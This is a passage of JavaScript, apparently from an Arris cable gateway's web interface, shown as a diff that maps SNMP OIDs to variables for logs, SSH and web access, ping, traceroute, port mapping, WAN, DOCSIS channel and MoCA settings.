Scalar("ClearMSOLogs","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.2",2); +var arClearMSOLogs=MSOLogs.ClearMSOLogs; + +var MSOChgLogTable = new Table("MSOChgLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1"); +MSOChgLogTable.MSOChgLogIndex = new Column("MSOChgLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.1",2); +MSOChgLogTable.MSOChgLogTime = new Column("MSOChgLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.2",4,1); +MSOChgLogTable.MSOChgLogInfo = new Column("MSOChgLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.3",4); +var arMSOChgLogIndex=MSOChgLogTable.MSOChgLogIndex; +var arMSOChgLogTime=MSOChgLogTable.MSOChgLogTime; +var arMSOChgLogInfo=MSOChgLogTable.MSOChgLogInfo; + +var InboundTrafficLogTable = new Table("InboundTrafficLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.42"); +InboundTrafficLogTable.InboundTrafficLogIndex = new Column("InboundTrafficLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.42.1.1",66); +InboundTrafficLogTable.InboundTrafficLogData = new Column("InboundTrafficLogData","1.3.6.1.4.1.4115.1.20.1.1.5.42.1.2",4); +var arInboundTrafficLogIndex=InboundTrafficLogTable.InboundTrafficLogIndex; +var arInboundTrafficLogData=InboundTrafficLogTable.InboundTrafficLogData; + +var HostAccess = new Container("HostAccess", "1.3.6.1.4.1.4115.1.20.1.1.6"); +HostAccess.HostAccessClientSeed= new Scalar("HostAccessClientSeed","1.3.6.1.4.1.4115.1.20.1.1.6.1",4,1); +HostAccess.HostCLITimeout= new Scalar("HostCLITimeout","1.3.6.1.4.1.4115.1.20.1.1.6.2",66); +HostAccess.HostAccessSSHEnable= new Scalar("HostAccessSSHEnable","1.3.6.1.4.1.4115.1.20.1.1.6.3",2); +HostAccess.HostAccessSSHPassword= new Scalar("HostAccessSSHPassword","1.3.6.1.4.1.4115.1.20.1.1.6.4",4); +HostAccess.WebAccessFreeIdx= new Scalar("WebAccessFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.6.5",2); +HostAccess.WebAccessSetting= new Scalar("WebAccessSetting","1.3.6.1.4.1.4115.1.20.1.1.6.6",2); +HostAccess.WebAccessWANACL= new Scalar("WebAccessWANACL","1.3.6.1.4.1.4115.1.20.1.1.6.8",4); +var arHostAccessClientSeed=HostAccess.HostAccessClientSeed; +var arHostCLITimeout=HostAccess.HostCLITimeout; +var arHostAccessSSHEnable=HostAccess.HostAccessSSHEnable; +var arHostAccessSSHPassword=HostAccess.HostAccessSSHPassword; +var arWebAccessFreeIdx=HostAccess.WebAccessFreeIdx; +var arWebAccessSetting=HostAccess.WebAccessSetting; +var arWebAccessWANACL=HostAccess.WebAccessWANACL; + +var WebAccessTable = new Table("WebAccessTable", "1.3.6.1.4.1.4115.1.20.1.1.6.7"); +WebAccessTable.WebAccessIndex = new Column("WebAccessIndex","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.1",2); +WebAccessTable.WebAccessPage = new Column("WebAccessPage","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.2",4); +WebAccessTable.WebAccessLevel = new Column("WebAccessLevel","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.3",2); +WebAccessTable.WebAccessRowStatus = new Column("WebAccessRowStatus","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.4",2); +var arWebAccessIndex=WebAccessTable.WebAccessIndex; +var arWebAccessPage=WebAccessTable.WebAccessPage; +var arWebAccessLevel=WebAccessTable.WebAccessLevel; +var arWebAccessRowStatus=WebAccessTable.WebAccessRowStatus; + +var PingMgmt = new Container("PingMgmt", "1.3.6.1.4.1.4115.1.20.1.1.7"); +PingMgmt.PingTargetAddrType= new Scalar("PingTargetAddrType","1.3.6.1.4.1.4115.1.20.1.1.7.1",2); +PingMgmt.PingTargetAddress= new Scalar("PingTargetAddress","1.3.6.1.4.1.4115.1.20.1.1.7.2",4, 1); +PingMgmt.PingNumPkts= new Scalar("PingNumPkts","1.3.6.1.4.1.4115.1.20.1.1.7.3",66); +PingMgmt.PingPktSize= new Scalar("PingPktSize","1.3.6.1.4.1.4115.1.20.1.1.7.4",66); +PingMgmt.PingInterval= new Scalar("PingInterval","1.3.6.1.4.1.4115.1.20.1.1.7.5",66); +PingMgmt.PingTimeout= new Scalar("PingTimeout","1.3.6.1.4.1.4115.1.20.1.1.7.6",2); +PingMgmt.PingVerifyReply= new Scalar("PingVerifyReply","1.3.6.1.4.1.4115.1.20.1.1.7.7",2); +PingMgmt.PingIpStackNumber= new Scalar("PingIpStackNumber","1.3.6.1.4.1.4115.1.20.1.1.7.8",2); +PingMgmt.PingStartStop= new Scalar("PingStartStop","1.3.6.1.4.1.4115.1.20.1.1.7.9",2); +PingMgmt.PingPktsSent= new Scalar("PingPktsSent","1.3.6.1.4.1.4115.1.20.1.1.7.10",65); +PingMgmt.PingRepliesReceived= new Scalar("PingRepliesReceived","1.3.6.1.4.1.4115.1.20.1.1.7.11",65); +PingMgmt.PingRepliesVerified= new Scalar("PingRepliesVerified","1.3.6.1.4.1.4115.1.20.1.1.7.12",65); +PingMgmt.PingOctetsSent= new Scalar("PingOctetsSent","1.3.6.1.4.1.4115.1.20.1.1.7.13",65); +PingMgmt.PingOctetsReceived= new Scalar("PingOctetsReceived","1.3.6.1.4.1.4115.1.20.1.1.7.14",65); +PingMgmt.PingIcmpErrors= new Scalar("PingIcmpErrors","1.3.6.1.4.1.4115.1.20.1.1.7.15",65); +PingMgmt.PingLastIcmpError= new Scalar("PingLastIcmpError","1.3.6.1.4.1.4115.1.20.1.1.7.16",66); +var arPingTargetAddrType=PingMgmt.PingTargetAddrType; +var arPingTargetAddress=PingMgmt.PingTargetAddress; +var arPingNumPkts=PingMgmt.PingNumPkts; +var arPingPktSize=PingMgmt.PingPktSize; +var arPingInterval=PingMgmt.PingInterval; +var arPingTimeout=PingMgmt.PingTimeout; +var arPingVerifyReply=PingMgmt.PingVerifyReply; +var arPingIpStackNumber=PingMgmt.PingIpStackNumber; +var arPingStartStop=PingMgmt.PingStartStop; +var arPingPktsSent=PingMgmt.PingPktsSent; +var arPingRepliesReceived=PingMgmt.PingRepliesReceived; +var arPingRepliesVerified=PingMgmt.PingRepliesVerified; +var arPingOctetsSent=PingMgmt.PingOctetsSent; +var arPingOctetsReceived=PingMgmt.PingOctetsReceived; +var arPingIcmpErrors=PingMgmt.PingIcmpErrors; +var arPingLastIcmpError=PingMgmt.PingLastIcmpError; + +var TraceRtMgmt = new Container("TraceRtMgmt", "1.3.6.1.4.1.4115.1.20.1.1.8"); +TraceRtMgmt.TraceRtTargAddrType= new Scalar("TraceRtTargAddrType","1.3.6.1.4.1.4115.1.20.1.1.8.1",2); +TraceRtMgmt.TraceRtTargetAddr= new Scalar("TraceRtTargetAddr","1.3.6.1.4.1.4115.1.20.1.1.8.2",4, 1); +TraceRtMgmt.TraceRtMaxHops= new Scalar("TraceRtMaxHops","1.3.6.1.4.1.4115.1.20.1.1.8.3",2); +TraceRtMgmt.TraceRtDataSize= new Scalar("TraceRtDataSize","1.3.6.1.4.1.4115.1.20.1.1.8.4",2); +TraceRtMgmt.TraceRtResolveHosts= new Scalar("TraceRtResolveHosts","1.3.6.1.4.1.4115.1.20.1.1.8.5",2); +TraceRtMgmt.TraceRtBasePort= new Scalar("TraceRtBasePort","1.3.6.1.4.1.4115.1.20.1.1.8.6",2); +TraceRtMgmt.TraceRtStart= new Scalar("TraceRtStart","1.3.6.1.4.1.4115.1.20.1.1.8.7",2); +TraceRtMgmt.TraceRtLog= new Scalar("TraceRtLog","1.3.6.1.4.1.4115.1.20.1.1.8.8",4); +var arTraceRtTargAddrType=TraceRtMgmt.TraceRtTargAddrType; +var arTraceRtTargetAddr=TraceRtMgmt.TraceRtTargetAddr; +var arTraceRtMaxHops=TraceRtMgmt.TraceRtMaxHops; +var arTraceRtDataSize=TraceRtMgmt.TraceRtDataSize; +var arTraceRtResolveHosts=TraceRtMgmt.TraceRtResolveHosts; +var arTraceRtBasePort=TraceRtMgmt.TraceRtBasePort; +var arTraceRtStart=TraceRtMgmt.TraceRtStart; +var arTraceRtLog=TraceRtMgmt.TraceRtLog; + +var ICtrl = new Container("ICtrl", "1.3.6.1.4.1.4115.1.20.1.1.10"); +ICtrl.ICtrlPortMapCount= new Scalar("ICtrlPortMapCount","1.3.6.1.4.1.4115.1.20.1.1.10.1",2); +var arICtrlPortMapCount=ICtrl.ICtrlPortMapCount; + +var ICtrlPortMapTable = new Table("ICtrlPortMapTable", "1.3.6.1.4.1.4115.1.20.1.1.10.2"); +ICtrlPortMapTable.ICtrlPortMapIndex = new Column("ICtrlPortMapIndex","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.1",2); +ICtrlPortMapTable.PortMapDescription = new Column("PortMapDescription","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.2",4); +ICtrlPortMapTable.PortMapInternalClientAddrType = new Column("PortMapInternalClientAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.3",2); +ICtrlPortMapTable.PortMapInternalClientAddr = new Column("PortMapInternalClientAddr","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.4",4,1); +ICtrlPortMapTable.PortMapProtocol = new Column("PortMapProtocol","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.5",2); +ICtrlPortMapTable.PortMapExternalPort = new Column("PortMapExternalPort","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.6",66); +ICtrlPortMapTable.PortMapInternalPort = new Column("PortMapInternalPort","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.7",66); +ICtrlPortMapTable.PortMapRowStatus = new Column("PortMapRowStatus","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.8",2); +// scm add x 4 +ICtrlPortMapTable.PortMapInternalStartPort= new Column("PortMapInternalStartPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.9",66); +ICtrlPortMapTable.PortMapInternalEndPort= new Column("PortMapInternalEndPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.10",66); +ICtrlPortMapTable.PortMapExternalStartPort = new Column("PortMapExternalStartPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.11",66); +ICtrlPortMapTable.PortMapExternalEndPort= new Column("PortMapExternalEndPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.12",66); + +var arICtrlPortMapIndex=ICtrlPortMapTable.ICtrlPortMapIndex; +var arPortMapDescription=ICtrlPortMapTable.PortMapDescription; +var arPortMapInternalClientAddrType=ICtrlPortMapTable.PortMapInternalClientAddrType; +var arPortMapInternalClientAddr=ICtrlPortMapTable.PortMapInternalClientAddr; +var arPortMapProtocol=ICtrlPortMapTable.PortMapProtocol; +var arPortMapExternalPort=ICtrlPortMapTable.PortMapExternalPort; +var arPortMapInternalPort=ICtrlPortMapTable.PortMapInternalPort; +var arPortMapRowStatus=ICtrlPortMapTable.PortMapRowStatus; +var arPortMapExternalStartPort = ICtrlPortMapTable.PortMapExternalStartPort; +var arPortMapExternalEndPort= ICtrlPortMapTable.PortMapExternalEndPort; +var arPortMapInternalStartPort= ICtrlPortMapTable.PortMapInternalStartPort; +var arPortMapInternalEndPort= ICtrlPortMapTable.PortMapInternalEndPort; + + + +var ICtrlGetDeviceSettings = new Container("ICtrlGetDeviceSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.3"); +ICtrlGetDeviceSettings.ICtrlDeviceSettingsFWversion= new Scalar("ICtrlDeviceSettingsFWversion","1.3.6.1.4.1.4115.1.20.1.1.10.3.1",4); +var arICtrlDeviceSettingsFWversion=ICtrlGetDeviceSettings.ICtrlDeviceSettingsFWversion; + +var ICtrlIsDeviceReady = new Container("ICtrlIsDeviceReady", "1.3.6.1.4.1.4115.1.20.1.1.10.4"); +ICtrlIsDeviceReady.ICtrlDeviceStatus= new Scalar("ICtrlDeviceStatus","1.3.6.1.4.1.4115.1.20.1.1.10.4.1",2); +var arICtrlDeviceStatus=ICtrlIsDeviceReady.ICtrlDeviceStatus; + +var ICtrlReboot = new Container("ICtrlReboot", "1.3.6.1.4.1.4115.1.20.1.1.10.5"); +ICtrlReboot.ICtrlInitiateReboot= new Scalar("ICtrlInitiateReboot","1.3.6.1.4.1.4115.1.20.1.1.10.5.1",2); +var arICtrlInitiateReboot=ICtrlReboot.ICtrlInitiateReboot; + +var ICtrlSetDeviceSettings = new Container("ICtrlSetDeviceSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.6"); +ICtrlSetDeviceSettings.ICtrlSetDeviceName= new Scalar("ICtrlSetDeviceName","1.3.6.1.4.1.4115.1.20.1.1.10.6.1",4); +ICtrlSetDeviceSettings.ICtrlSetAdminPassword= new Scalar("ICtrlSetAdminPassword","1.3.6.1.4.1.4115.1.20.1.1.10.6.2",4); +var arICtrlSetDeviceName=ICtrlSetDeviceSettings.ICtrlSetDeviceName; +var arICtrlSetAdminPassword=ICtrlSetDeviceSettings.ICtrlSetAdminPassword; + +var ICtrlRouterSettings = new Container("ICtrlRouterSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.7"); +ICtrlRouterSettings.ICtrlRouterManageRemote= new Scalar("ICtrlRouterManageRemote","1.3.6.1.4.1.4115.1.20.1.1.10.7.1",2); +ICtrlRouterSettings.ICtrlRouterRemotePort= new Scalar("ICtrlRouterRemotePort","1.3.6.1.4.1.4115.1.20.1.1.10.7.2",66); +ICtrlRouterSettings.ICtrlRouterRemoteSSL= new Scalar("ICtrlRouterRemoteSSL","1.3.6.1.4.1.4115.1.20.1.1.10.7.3",2); +var arICtrlRouterManageRemote=ICtrlRouterSettings.ICtrlRouterManageRemote; +var arICtrlRouterRemotePort=ICtrlRouterSettings.ICtrlRouterRemotePort; +var arICtrlRouterRemoteSSL=ICtrlRouterSettings.ICtrlRouterRemoteSSL; + +var ICtrlWLanRadioSettings = new Container("ICtrlWLanRadioSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.8"); +ICtrlWLanRadioSettings.ICtrlWLanRadioMacAddress= new Scalar("ICtrlWLanRadioMacAddress","1.3.6.1.4.1.4115.1.20.1.1.10.8.1",4,1); +ICtrlWLanRadioSettings.ICtrlWLanRadioChannelWidth= new Scalar("ICtrlWLanRadioChannelWidth","1.3.6.1.4.1.4115.1.20.1.1.10.8.2",66); +var arICtrlWLanRadioMacAddress=ICtrlWLanRadioSettings.ICtrlWLanRadioMacAddress; +var arICtrlWLanRadioChannelWidth=ICtrlWLanRadioSettings.ICtrlWLanRadioChannelWidth; + +var ICtrlSetBridgeConnect = new Container("ICtrlSetBridgeConnect", "1.3.6.1.4.1.4115.1.20.1.1.10.9"); +ICtrlSetBridgeConnect.ICtrlSetBridgeEthernetPort= new Scalar("ICtrlSetBridgeEthernetPort","1.3.6.1.4.1.4115.1.20.1.1.10.9.1",66); +ICtrlSetBridgeConnect.ICtrlSetBridgeMinutes= new Scalar("ICtrlSetBridgeMinutes","1.3.6.1.4.1.4115.1.20.1.1.10.9.2",66); +ICtrlSetBridgeConnect.ICtrlSetBridgePermanentPort4Enable= new Scalar("ICtrlSetBridgePermanentPort4Enable","1.3.6.1.4.1.4115.1.20.1.1.10.9.3",2); +var arICtrlSetBridgeEthernetPort=ICtrlSetBridgeConnect.ICtrlSetBridgeEthernetPort; +var arICtrlSetBridgeMinutes=ICtrlSetBridgeConnect.ICtrlSetBridgeMinutes; +var arRouterICtrlSetBridgePermanentPort4Enable=ICtrlSetBridgeConnect.ICtrlSetBridgePermanentPort4Enable; + +var ICtrlGetWanSettings = new Container("ICtrlGetWanSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.10"); +ICtrlGetWanSettings.ICtrlGetWanType= new Scalar("ICtrlGetWanType","1.3.6.1.4.1.4115.1.20.1.1.10.10.2",4); +ICtrlGetWanSettings.ICtrlGetWanMTU= new Scalar("ICtrlGetWanMTU","1.3.6.1.4.1.4115.1.20.1.1.10.10.3",66); +ICtrlGetWanSettings.ICtrlGetWanPrefixLen= new Scalar("ICtrlGetWanPrefixLen","1.3.6.1.4.1.4115.1.20.1.1.10.10.4",66); +ICtrlGetWanSettings.ICtrlGetWanGatewayAddrType= new Scalar("ICtrlGetWanGatewayAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.5",2); +ICtrlGetWanSettings.ICtrlGetWanGatewayAddr= new Scalar("ICtrlGetWanGatewayAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.6",4,1); +ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddrType= new Scalar("ICtrlGetWanDNSPrimaryAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.7",2); +ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddr= new Scalar("ICtrlGetWanDNSPrimaryAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.8",4,1); +ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddrType= new Scalar("ICtrlGetWanDNSSecondaryAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.9",2); +ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddr= new Scalar("ICtrlGetWanDNSSecondaryAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.10",4,1); +ICtrlGetWanSettings.ICtrlGetWanMacAddress= new Scalar("ICtrlGetWanMacAddress","1.3.6.1.4.1.4115.1.20.1.1.10.10.11",4,1); +var arICtrlGetWanType=ICtrlGetWanSettings.ICtrlGetWanType; +var arICtrlGetWanMTU=ICtrlGetWanSettings.ICtrlGetWanMTU; +var arICtrlGetWanPrefixLen=ICtrlGetWanSettings.ICtrlGetWanPrefixLen; +var arICtrlGetWanGatewayAddrType=ICtrlGetWanSettings.ICtrlGetWanGatewayAddrType; +var arICtrlGetWanGatewayAddr=ICtrlGetWanSettings.ICtrlGetWanGatewayAddr; +var arICtrlGetWanDNSPrimaryAddrType=ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddrType; +var arICtrlGetWanDNSPrimaryAddr=ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddr; +var arICtrlGetWanDNSSecondaryAddrType=ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddrType; +var arICtrlGetWanDNSSecondaryAddr=ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddr; +var arICtrlGetWanMacAddress=ICtrlGetWanSettings.ICtrlGetWanMacAddress; + +ICtrl.ICtrlPortMapTableEnabled= new Scalar("ICtrlPortMapTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.10.14",2); +var arICtrlPortMapTableEnabled=ICtrl.ICtrlPortMapTableEnabled; + +var mib2system = new Container("mib2system", "1.3.6.1.2.1.1"); +mib2system.sysName= new Scalar("mib2sysname","1.3.6.1.2.1.1.5",4); +mib2system.sysDescr= new Scalar("mib2sysdescr","1.3.6.1.2.1.1.1",4); +mib2system.sysTime= new Scalar("mib2systime","1.3.6.1.2.1.1.3",0x43); +mib2system.sysContact= new Scalar("mib2syscontact","1.3.6.1.2.1.1.4",4); + +var docsdevBase = new Container("docsdevBase", "1.3.6.1.2.1.69.1.1"); +docsdevBase.DateTime = new Scalar("DateTime","1.3.6.1.2.1.69.1.1.2",4,1); +docsdevBase.ResetNow = new Scalar("ResetNow","1.3.6.1.2.1.69.1.1.3",2); +docsdevBase.SerialNumber = new Scalar("SerialNumber","1.3.6.1.2.1.69.1.1.4",4); + +var docsDevSoftware = new Container("docsDevSoftware", "1.3.6.1.2.1.69.1.3"); +docsDevSoftware.CurrentVers = new Scalar("CurrentVers", "1.3.6.1.2.1.69.1.3.5",4); + +var mib2interface = new Container("mib2interface", "1.3.6.1.2.1.2"); +mib2interface.ifNumber= new Scalar("mib2interfaceNumber","1.3.6.1.2.1.2.1",2); +var mib2iftable = new Table("mib2iftable", "1.3.6.1.2.1.2.2"); +mib2iftable.ifIndex = new Column("ifIndex","1.3.6.1.2.1.2.2.1.1",2); +mib2iftable.ifDescr = new Column("ifDescr","1.3.6.1.2.1.2.2.1.2",4); +mib2iftable.ifType = new Column("ifType","1.3.6.1.2.1.2.2.1.3",2); +mib2iftable.ifMtu = new Column("ifMtu","1.3.6.1.2.1.2.2.1.4",2); +mib2iftable.ifSpeed = new Column("ifSpeed", "1.3.6.1.2.1.2.2.1.5",0x42); +mib2iftable.ifPhyAddress = new Column("ifPhyAddress","1.3.6.1.2.1.2.2.1.6",4,1); +mib2iftable.ifOperStatus = new Column("ifOperStatus","1.3.6.1.2.1.2.2.1.8",2); +// scm start +mib2iftable.ifUpTime = new Column("ifUpTime", "1.3.6.1.2.1.2.2.1.9",4,1); +// scm end + +var arrisCmDoc30Software = new Container("arrisCmDoc30Software", "1.3.6.1.4.1.4115.1.3.4.1.5"); +arrisCmDoc30Software.RegistrationState = new Scalar("arrisCmDoc30SwRegistrationState","1.3.6.1.4.1.4115.1.3.4.1.5.9",2); +var arrisCmDoc30DhcpSvrParameters = new Container("arrisCmDoc30DhcpSvrParameters", "1.3.6.1.4.1.4115.1.3.4.1.4.2"); +arrisCmDoc30DhcpSvrParameters.TimeSvrIpAddr = new Scalar("arrisCmDoc30DhcpTimeSvrIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.4",4,1); +arrisCmDoc30DhcpSvrParameters.PrimaryDhcpServerIpAddr = new Scalar("arrisCmDoc30DhcpPrimaryDhcpServerIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.2",4,1); +arrisCmDoc30DhcpSvrParameters.TftpSvrIpAddr = new Scalar("arrisCmDoc30DhcpTftpSvrIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.3",4,1); +arrisCmDoc30DhcpSvrParameters.TimeOffset = new Scalar("arrisCmDoc30DhcpCmTimeOffset","1.3.6.1.4.1.4115.1.3.4.1.4.2.5",2); +arrisCmDoc30DhcpSvrParameters.PrimaryTeleDhcpSvr = new Scalar("arrisCmDoc30DhcpPrimaryTeleDhcpSvr","1.3.6.1.4.1.4115.1.3.4.1.4.2.6",4,1); +arrisCmDoc30DhcpSvrParameters.SecondaryTeleDhcpSvr = new Scalar("arrisCmDoc30DhcpSecondaryTeleDhcpSvr","1.3.6.1.4.1.4115.1.3.4.1.4.2.7",4,1); +var arCmDoc30DhcpPrimaryDhcpServerIpAddr = arrisCmDoc30DhcpSvrParameters.PrimaryDhcpServerIpAddr; +var arCmDoc30DhcpTftpSvrIpAddr = arrisCmDoc30DhcpSvrParameters.TftpSvrIpAddr; +var arCmDoc30DhcpTimeSvrIpAddr = arrisCmDoc30DhcpSvrParameters.TimeSvrIpAddr; +var arCmDoc30DhcpTimeOffset = arrisCmDoc30DhcpSvrParameters.TimeOffset; +var arCmDoc30DhcpPrimaryTeleDhcpSvr = arrisCmDoc30DhcpSvrParameters.PrimaryTeleDhcpSvr; +var arCmDoc30DhcpSecondaryTeleDhcpSvr = arrisCmDoc30DhcpSvrParameters.SecondaryTeleDhcpSvr; + + +var arrisCmDoc30DhcpCmParameters = new Container("arrisCmDoc30DhcpCmParameters", "1.3.6.1.4.1.4115.1.3.4.1.4.3"); +arrisCmDoc30DhcpCmParameters.CmIpAddr = new Scalar("arrisCmDoc30DhcpCmIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.3.2",4,1); +arrisCmDoc30DhcpCmParameters.CmSubNetMask = new Scalar("arrisCmDoc30DhcpCmSubNetMask","1.3.6.1.4.1.4115.1.3.4.1.4.3.3",4,1); +arrisCmDoc30DhcpCmParameters.CmGatewayIpAddr = new Scalar("arrisCmDoc30DhcpCmGatewayIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.3.4",4,1); +arrisCmDoc30DhcpCmParameters.CmConfigFile = new Scalar("arrisCmDoc30DhcpCmConfigFile","1.3.6.1.4.1.4115.1.3.4.1.4.3.5",4); +var arCmDoc30DhcpCmIpAddr = arrisCmDoc30DhcpCmParameters.CmIpAddr; +var arCmDoc30DhcpCmSubNetMask = arrisCmDoc30DhcpCmParameters.CmSubNetMask; +var arCmDoc30DhcpCmGatewayIpAddr = arrisCmDoc30DhcpCmParameters.CmGatewayIpAddr; +var arCmDoc30DhcpCmConfigFile = arrisCmDoc30DhcpCmParameters.CmConfigFile; + +var arrisCmDoc30Setup = new Container("arrisCmDoc30Setup", "1.3.6.1.4.1.4115.1.3.4.1.3"); +arrisCmDoc30Setup.MddIpModeOverride = new Scalar("arrisCmDoc30SetupMddIpModeOverride","1.3.6.1.4.1.4115.1.3.4.1.3.7",2); +var arCmDoc30SetupMddIpModeOverride = arrisCmDoc30Setup.MddIpModeOverride; + +var arrisCmDoc30Base = new Container("arrisCmDoc30Base", "1.3.6.1.4.1.4115.1.3.4.1.1"); +arrisCmDoc30Base.TodStatus = new Scalar("arrisCmDoc30BaseTodStatus","1.3.6.1.4.1.4115.1.3.4.1.1.14",2); +var arCmDoc30BaseTodStatus = arrisCmDoc30Base.TodStatus; + +var docsIfDownstreamChannelTable = new Table("docsIfDownstreamChannelTable", "1.3.6.1.2.1.10.127.1.1.1"); +docsIfDownstreamChannelTable.Frequency = new Column("docsIfDownChannelFrequency","1.3.6.1.2.1.10.127.1.1.1.1.2",2); +docsIfDownstreamChannelTable.Power = new Column("docsIfDownChannelPower","1.3.6.1.2.1.10.127.1.1.1.1.6",2); +docsIfDownstreamChannelTable.Modulation = new Column("docsIfDownChannelModulation","1.3.6.1.2.1.10.127.1.1.1.1.4",2); + +var docsIfSignalQualityTable = new Table("docsIfSignalQualityTable", "1.3.6.1.2.1.10.127.1.1.4"); +docsIfSignalQualityTable.SignalNoise = new Column("docsIfSigQSignalNoise","1.3.6.1.2.1.10.127.1.1.4.1.5",2); +docsIfSignalQualityTable.Unerroreds = new Column("docsIfSigQUnerroreds","1.3.6.1.2.1.10.127.1.1.4.1.2",0x41); +docsIfSignalQualityTable.Correcteds = new Column("docsIfSigQCorrecteds","1.3.6.1.2.1.10.127.1.1.4.1.3",0x41); +docsIfSignalQualityTable.Uncorrectables = new Column("docsIfSigQUncorrectables","1.3.6.1.2.1.10.127.1.1.4.1.4",0x41); + +var docsIfUpstreamChannelTable = new Table("docsIfUpstreamChannelTable", "1.3.6.1.2.1.10.127.1.1.2"); +docsIfUpstreamChannelTable.ChannelId = new Column("docsIfUpChannelId","1.3.6.1.2.1.10.127.1.1.2.1.1",2); +docsIfUpstreamChannelTable.Frequency = new Column("docsIfUpChannelFrequency","1.3.6.1.2.1.10.127.1.1.2.1.2",2); +docsIfUpstreamChannelTable.Status = new Column("docsIfUpChannelStatus","1.3.6.1.2.1.10.127.1.1.2.1.18",2); + +var arrisCmDoc30IfUpstreamChannelExtendedTable = new Table("arrisCmDoc30IfUpstreamChannelExtendedTable", "1.3.6.1.4.1.4115.1.3.4.1.9.2"); +arrisCmDoc30IfUpstreamChannelExtendedTable.SymbolRate = new Column("arrisCmDoc30IfUpChannelExtendedSymbolRate","1.3.6.1.4.1.4115.1.3.4.1.9.2.1.2",2); +/* kSym/s */ +arrisCmDoc30IfUpstreamChannelExtendedTable.Modulation = new Column("arrisCmDoc30IfUpChannelExtendedModulation","1.3.6.1.4.1.4115.1.3.4.1.9.2.1.3",2); +/* 1: qpsk(1) 2: qam8(2) 3: qam16(3) 4: qam32(4) 5: qam64(5) 6: qam128(6) 7: qam256(7) 8: err(-1) */ + +var docsIf3CmStatusUsTable = new Table("docsIf3CmStatusUsTable", "1.3.6.1.4.1.4491.2.1.20.1.2"); +docsIf3CmStatusUsTable.TxPower = new Column("docsIf3CmStatusUsTxPower","1.3.6.1.4.1.4491.2.1.20.1.2.1.1",2); + +var docsIf3CmStatusTable = new Table("docsIf3CmStatusTable", "1.3.6.1.4.1.4491.2.1.20.1.1"); +docsIf3CmStatusTable.docsIf3CmStatusValue = new Column("docsIf3CmStatusValue","1.3.6.1.4.1.4491.2.1.20.1.1.1.1",2); +var ardocsIf3CmStatusValue=docsIf3CmStatusTable.docsIf3CmStatusValue; + + +// no need to load trigger +MibObjects.loaded = true; + + +// +// MoCA +// + + +var mocaIfConfigTable = new Table("mocaIfConfigTable", "1.3.6.1.4.1.31621.1.1.1.1"); +mocaIfConfigTable.mocaIfEnable = new Column("mocaIfEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.1", 2); +mocaIfConfigTable.mocaIfChannelMask = new Column("mocaIfChannelMask", "1.3.6.1.4.1.31621.1.1.1.1.1.2", 66); +mocaIfConfigTable.mocaIfPowerControl = new Column("mocaIfPowerControl", "1.3.6.1.4.1.31621.1.1.1.1.1.3", 2); +mocaIfConfigTable.mocaIfTxPowerLimit = new Column("mocaIfTxPowerLimit", "1.3.6.1.4.1.31621.1.1.1.1.1.4", 66); +mocaIfConfigTable.mocaIfBeaconPowerLimit = new Column("mocaIfBeaconPowerLimit", "1.3.6.1.4.1.31621.1.1.1.1.1.5", 66); +mocaIfConfigTable.mocaIfPowerControlTargetRate = new Column("mocaIfPowerControlTargetRate", "1.3.6.1.4.1.31621.1.1.1.1.1.6", 66); +mocaIfConfigTable.mocaIfPrivacyEnable = new Column("mocaIfPrivacyEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.7", 2); +mocaIfConfigTable.mocaIfPassword = new Column("mocaIfPassword", "1.3.6.1.4.1.31621.1.1.1.1.1.8", 4); +mocaIfConfigTable.mocaIfPreferredNC = new Column("mocaIfPreferredNC", "1.3.6.1.4.1.31621.1.1.1.1.1.9", 2); +mocaIfConfigTable.mocaIfAccessEnable = new Column("mocaIfAccessEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.10", 2); +mocaIfConfigTable.mocaIfPhyThreshold = new Column("mocaIfPhyThreshold", "1.3.6.1.4.1.31621.1.1.1.1.1.11", 